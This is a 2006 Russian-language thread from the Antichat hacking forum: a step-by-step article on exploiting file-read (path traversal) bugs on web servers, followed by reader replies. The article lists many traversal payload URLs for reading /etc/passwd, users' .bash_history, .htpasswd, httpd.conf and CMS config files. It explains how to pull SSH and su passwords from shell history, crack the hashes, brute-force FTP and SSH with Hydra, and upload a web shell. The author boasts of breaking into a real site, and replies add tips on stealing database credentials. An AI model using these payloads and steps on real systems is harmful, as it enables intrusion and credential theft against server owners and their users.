Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Что и как можно поднять с читалки файлов. (https://forum.antichat.xyz/showthread.php?t=22832)

1ten0.0net1 18.08.2006 21:00

Что и как можно поднять с читалки файлов.
 
Очень часто в журналах, на форумах и от друзей можно услышать следующее:
"Я нашел читалку, но так как с неё ничего не поднять..."
Хочу сказать, что такое заблуждение весьма распространено. Целью своей статьи
ставлю разубеждение в 100% адекватности таких заявлений. Кроме того, я не встречал статьи,
показывающе как пошагово реализовать эту уязвимость в ощутимый результат.

Первым делом, ищем непосредственно саму багу.
Как это делать, я писать не буду, но если возникнет такая необходимость - напишу.
Необходимо заметить, что реализация уязвимости может быть разной:

http://somesite.info/?page=/etc/passwd (рекомендую вставлять именно passwd, т. к. этот файл практически всегда доступен для
чтения владельцу файлов/папок сайта)
http://somesite.info/?page=/etc/passwd%00
Иногда даже так:
http://somesite.info/?page=/etc/passwd%00.html (или .txt .php .inc .jpg и т. д.)
но лично я такого не встречал.
http://somesite.info/?page=../../../../../../../../../../etc/passwd
http://somesite.info/?page=../../../../../../../../../../etc/passwd%00
http://somesite.info/?page=../../../../../../../../../../etc/passwd%00.html


http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd
http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd%00
http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd%00.html


Иногда для нормальной реализации необходимо знание полного пути к директории.
Кстати, никогда не верьте расширению у скрипта!
Найдя такую багу, делаем следующее:

I. Читаем файл /etc/passwd.

В этом файл есть три раздела информации, представляющей для нас особый интерес:
1) Лоигны пользователей;
2) Путь к их домашним директориям:
3) Наличие у них действующего интерпретатора.

Обычно я начинаю с пункта 3.
С помощью бажного скрипта пытаюсь прочитать:

http://somesite.info/?page=somedir/../../../../../../../../../../home/dir/of/some/user/.bash_history
Поверьте, если пользователей много, хоть одна хистори буде доступна для чтения.
//Необходимо заметить - когда сегодня я взламывал antichat файл .bash_history был доступен на чтение владельцу
//web' директорий.
//чего быть не должно.
В .bash_history внимательно просматриваем все комманды с целью найти следующие строки

ssh othersite.com -l afsdds -p wronGp4ssw0rt

Конечно, это может быть и правильный пароль. Но если
этот пароль не подходит (или после этих строк идёт
еще одна строка авторизации через ssh)-
в этом случае можно попробовать угадать пароль. Конечно, проще это сделать, если пароль
является словом, например
antechat. Очевидно, что паролем, скорее всего, является, antichat (хотя
может быть и ant1ch4t и т. д.). Вообщем, нужна фантазия и удача.

или (перед вводом комманды su):

si или st или ssu или ssu.
Ну а на следующей строчке после этой комманды пароль скорее всего мы увидим правильный
и гадать нам не понадобится.

Если ничего найдено не было, стоит попробовать пункт 2.
Здесь уже необходимо больше и фантазии и удачи:

http://somesite.info/?page=somedir/../../../../../../../../../../way/to/site/dir/public_html

Подставляем в конец .htpasswd, и при удачном раскладе читаем зашифрованные DES'ом пароли.
При не очень удачном пытаемся прочитать .htaccess, а из него выцепить интересную информацию (строка AuthUserFile), например на файлы с паролями.
Такое возможно потому, что в файл .htaccess может быть помещено большинство из доступных директив для веб-сервера.
Если находим такую ссылку - вставлем путь к ней вместо way/to/site/dir/public_html и запускаем прогу John The Ripper,
позволяющую быстро расправиться с закодированными паролями.

Кроме этого, необходимо помнить, что файлы .htaccess и .htpasswd могут лежать в любой поддиректории.
Поэтому, например, если Вы знаете, что на сайте есть форум с админкой, пробуем:

http://somesite.info/?page=somedir/../../../../../../../../../../way/to/site/dir/public_html/forum/admin/.htaccess
Я советую поугадывать имена возможных папок (это можно узнать просто гуляя по сайту) и попробовать поискать файлы во всех подпапках.
Кроме того, часто можно итнуитивно угадать имя папки, в которой может лежать такой файл.
Например, зная путь до домашних папок:
/home/users/name_save_with_site_name
Попробуйте поискать файлы в папках
/home/users/name_save_with_site_name/www
/home/users/name_save_with_site_name/htdocs/
//home/users/name_save_with_site_name/public_html
и тому подобных.
В таких папках, например, могут лежать копии сайтов.

Далее, используя расшифрованный пароль, либо заходим в админку и ищем там возможности
для закачки шелла, например через upload файлов.

Или пробуем использовать пароль к ssh (если в файле /etc/passwd у данного пользователя есть доступ к bash), или к ftp.

Ну и последний пункт, косвенно связанный с предыдущим пункт 1.

Путь 1 (быстрый). Собираем при помощи специального скрипта пары login:login из /etc/passwd и при помощи другого скрипта (или программы)
пытаемся брутить ftp, попутно выясняя login'ы тех пользователей, на кого ни в коем случае не стоит ровняться.
Путь 2 (чаще всего долгий). При помощи любой соответствующей нашей цели программы пытаемя сбрутить пароль по словарю.

В обоих случаях идеально подходит программа Hydra, доступная на официальном сайте THC.org (http://thc.org )

II. Читаем файл httpd.conf

С этим файлом всё немного запутаннее, т. к. (в отличии от passwd), он может лежать
в различных директориях на разных серверах.

Но первым делом, все равно пробуем стандарт de facto:

http://somesite.info/?page=somedir/../../../../../../../../../../usr/local/apache/conf/httpd.conf

В 70% случаев он находится именно там.

Если нет, стоит проверить папки следующим образом:

http://somesite.info/?page=somedir/../../../../../../../../../../etc/../usr/conf/../../etc/shells
(в целях экономии трафика =), хотя вполне можно и passwd)


Если на страницу будет выведены существующие интерпретаторы (записи типа, /usr/bin/sh, /usr/bin/csh и т. п.)- опять ликуем, т. к.
теперь мы точно уверены в существовании директории conf. Тогда можно поискать файл httpd.conf в ней.
Таким образо можно проверить наличие любой папки, добавляя в строку ее название и дополнительные символы
перехода вниз по каталогу (../)
Наиболее часто мне встречаличь следующие пути (в порядке убывания):
/usr/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/http/conf/httpd.conf
/usr/http/conf/httpd.conf
/usr/httpd/conf/httpd.conf

В найденном файле ищем cтроки (само собой, через поиск, т. к. файл большой)
.htpasswd или AuthUserFile
Эти файлы укажут нам на файлы паролей.
Кроме того, отдельный интерес в этом файле представляет раздел Virual Hosts,
из которого мы можем узнать мыло администратора (директива ServerAdmin),
полный путь к web-директории и еще немного информации (директива DocumentRoot),
а также место хранения логов, при просмотре которых можно
также найти какой-нибудь пароль в GET-запросе (что очень мало веротяно)_.


Пример:

<# <VirtualHost *:80>
# ServerName www.*.*.navy.mil
# ServerAlias *.*.navy.mil *.navy.mil www.*.navy.mil
# DocumentRoot "/home/www/*/htdocs/"====> полный путь к Web'у
# ServerAdmin regional.webmaster@*.navy.mil ====> мыло админа
# ErrorLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*n-error_log 86400"
# CustomLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*-access_log 86400" combined ===> логи доступа
#
# <Directory "/home/www/*/htdocs">

# Options MultiViews
# AllowOverride None
# Order allow,deny
# Allow from all
# <LIMIT PUT DELETE>
# Order deny,allow
# Deny from all
# </LIMIT>
# </Directory>
#
# </VirtualHost>

Три важных замечания:
Замечание 1.
Часто бывает так, что при помощи этой баги можно просматривать директории, например:
http://www.goldenroseflorist.com/ind..../../../../etc

Замечание 2.
Также, если Вы точно уверены в существовании директорий
/chat /adm /admin /forum
пробуйте прочитать файлы conf.php, config.php, auth.inc.php, conf.inc.php.
Вообщем, различные конфиги и т.п.
http://somesite.info/?page=somedir/../../../../../../../../../../home/user/www/forum/config.inc.php

Замечание 3.
Пробуйте читать исходный код бажного сценария:
http://somesite.info/view.cgi?page=somedir/../../../../../../../../../../home/user/www/view.cgi%00


Вот собственно, и все, что я могу сказать по этой теме.

Отдельно хотелось бы упомянуть следующие случаи из моей практики:

-Доступный на чтение файл /root/.bash_history
-Доступный на чтение файл /etc/shadow
-Доступный на чтение файл httpd.conf, лежащий в /etc/httpd/conf/httpd.conf
-Доступный на чтение файл /etc/.htpasswd
(уж не знаю, что они запаролить хотели, копия скорее всего=)).

P. S. При возникновении любых вопросов - обращайтесь!

Спасибо за внимание,
с уважением 1ten0.0net1.

Brahma 18.08.2006 21:19

Чувствую эта статья из разряда "сад-о-мазо", однако - лично я не встречал таких "уязвимостей", или скажем так - встречал, но редко, да и зачастую дальше ../../ не уйти из-за умных админов хостинга.

TANZWUT 19.08.2006 02:01

1ten0.0net1, про access.log не забывай.. UserAgent ;)

.Slip 19.08.2006 02:51

Статья гуд, но оформление ужасное)

Sn@k3 19.08.2006 19:00

Тока приехало :).
Статья позновательная, но для новичков, дай ладно плюсик поставлю.

=Be$= 20.08.2006 02:24

Неплохо,для новичков самое то.

1ten0.0net1 21.08.2006 10:02

Цитата:

Сообщение от TANZWUT
1ten0.0net1, про access.log не забывай.. UserAgent ;)

# CustomLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*-access_log 86400" combined ===> логи доступа

По-моему, я не забыл. Или я что-то путаю?

e.vlt 21.08.2006 11:48

мой пост совсем не в тему статьи, но всё ж...
имхо для начала не нужно лезть куда-то в "./../../" двиг построен либо на бд, либо на файлах... если бд - то просматреть файл подключения к бд там есть пас и пароль
пример:
Цитата:

$bdhost = "localhost" ; // имя сервера
$bdlogin= "root" ; // login
$bdpasw = "nvrbvivr"; //password
$bdconnect = mysql_connect ($bdhost, $bdlogin, $bdpasw);
попробывать подключиться удалеено

если сайт написан на файлах, нужно найти админку и прочитать пароль...
там по идее будет проверка на пароль и логин, что-то вроде:

Цитата:

if ($_POST['login']=="admin" && $_POST['password']=="nbtionrivn")
дальше по ситуации)))

эти пароли могут подходить и к фтп)..

статья понра)

1ten0.0net1 21.08.2006 12:14

Цитата:

Сообщение от e.vlt
просматреть файл подключения к бд там есть пас и пароль
пример:

P. S. Пароля может и не быть.

Digimortal 27.08.2006 22:16

Нормальная статья. 1ten0.0net1, держи +


Время: 22:55